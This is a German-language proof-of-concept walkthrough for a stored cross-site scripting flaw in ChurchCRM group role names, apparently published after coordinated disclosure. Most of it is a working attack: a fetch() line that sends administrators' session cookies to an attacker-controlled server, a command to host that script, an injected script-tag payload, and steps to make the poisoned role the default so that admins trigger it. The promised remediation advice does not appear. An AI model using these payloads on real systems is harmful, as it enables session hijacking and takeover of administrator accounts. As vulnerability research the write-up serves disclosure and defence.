
Detaillierter Proof-of-Concept für CVE-2025-67876, der gespeichertes XSS in ChurchCRM-Gruppenrollennamen demonstriert, was zur Übernahme von Admin-Sitzungen führt, mit vollständigem Exploitation-Walkthrough und Abhilfeempfehlungen.
| Feld | Details |
|---|---|
| CVE-ID | CVE-2025-67876 |
| Schweregrad | KRITISCH |
| Advisory | Advisory ansehen |
| Entdeckt von | Lukasz Rybak |
Eine gespeicherte Cross-Site-Scripting (XSS) Schwachstelle existiert in ChurchCRM, die es einem Benutzer mit niedrigen Rechten und der Berechtigung „Manage Groups“ ermöglicht, persistentes JavaScript in Gruppenrollennamen einzuschleusen. Die Nutzlast wird in der Datenbank gespeichert und ausgeführt, sobald ein Benutzer (einschließlich Administratoren) eine Seite aufruft, die diese Rolle anzeigt, wie GroupView.php oder PersonView.php. Dies ermöglicht vollständiges Session-Hijacking und Kontoübernahme.
Die Ursache ist ein Mangel an Eingabevalidierung und Ausgabekodierung bei der Verarbeitung von Gruppenrollennamen.
Beim Bearbeiten einer Gruppe in GroupEditor.php kann der Benutzer die Rollennamen ändern. Die Anwendung bereinigt die Eingabe nicht (z. B. keine strip_tags, htmlspecialchars oder serverseitige Validierung). Der Wert wird in der Datenbanktabelle list_lst gespeichert.
Später wird der gespeicherte Wert ohne Escape direkt in HTML eingefügt:
Ein Benutzer mit niedrigen Rechten (mit „Manage Groups“) kann daher seine Berechtigungen auf vollständigen Administrator ausweiten, indem er JavaScript in eine Rolle injiziert und diese Rolle einem Administrator zuweist.
Erstellen Sie x.js auf einer vom Angreifer kontrollierten Maschine:
fetch('http://172.20.0.1:8000/log?cookie=' + encodeURIComponent(document.cookie));
Stellen Sie die Datei bereit:
python3 -m http.server 800
Melden Sie sich als Benutzer mit der Berechtigung „Manage Groups“ an.
Navigieren Sie zu: Gruppen → Gruppen auflisten → eine beliebige Gruppe auswählen → Einstellungen.
Bearbeiten Sie im Abschnitt „Gruppenrollen“ eine vorhandene Rolle oder erstellen Sie eine neue.
Fügen Sie die schädliche Nutzlast ein:
"><script src=//172.20.0.1:800/x.js></script>
Klicken Sie in der Gruppenrollenliste auf „Standard“ neben der Rolle, die Ihre injizierte XSS-Nutzlast enthält.
Dies stellt sicher, dass die schädliche Rolle automatisch jedem Benutzer zugewiesen wird, der zur Gruppe hinzugefügt wird, und erhöht die Wahrscheinlichkeit, dass ein Administrator das XSS beim Anzeigen seines Profils auslöst.
Klicken Sie neben der vorherigen Standardrolle, normalerweise „Mitglied“, auf „Löschen“.
Das Entfernen der sauberen Standardrolle zwingt das System, die mit XSS infizierte Rolle für alle zukünftigen Zuweisungen zu verwenden, und garantiert so die Ausführung, wenn das Opfer eine Seite aufruft, die seine zugewiesene Rolle anzeigt.

Gehen Sie zur Gruppenansichtsseite.
Fügen Sie einen beliebigen Benutzer als Gruppenmitglied hinzu (z. B. Church Admin).
Wählen Sie die schädliche Rolle aus dem Dropdown-Menü aus.
Speichern Sie die Zuweisung.
Wenn das Opfer (Admin) Folgendes besucht:
Ihr Benutzerprofil: PersonView.php
Die Gruppenansichtsseite: GroupView.php
Das gespeicherte JavaScript wird sofort ausgeführt.
Auf dem Angreifer-Server erscheinen eingehende Anfragen:

Dies bestätigt die erfolgreiche Kontoübernahme.
CWE-79: Unzureichende Neutralisierung von Eingaben bei der Generierung von Webseiten („Cross-Site Scripting“)
Diese CVE wurde verantwortungsvoll im Rahmen koordinierter Offenlegungspraktiken für Schwachstellen offengelegt. Die hier bereitgestellten Informationen dienen ausschließlich zu Bildungs- und Verteidigungszwecken.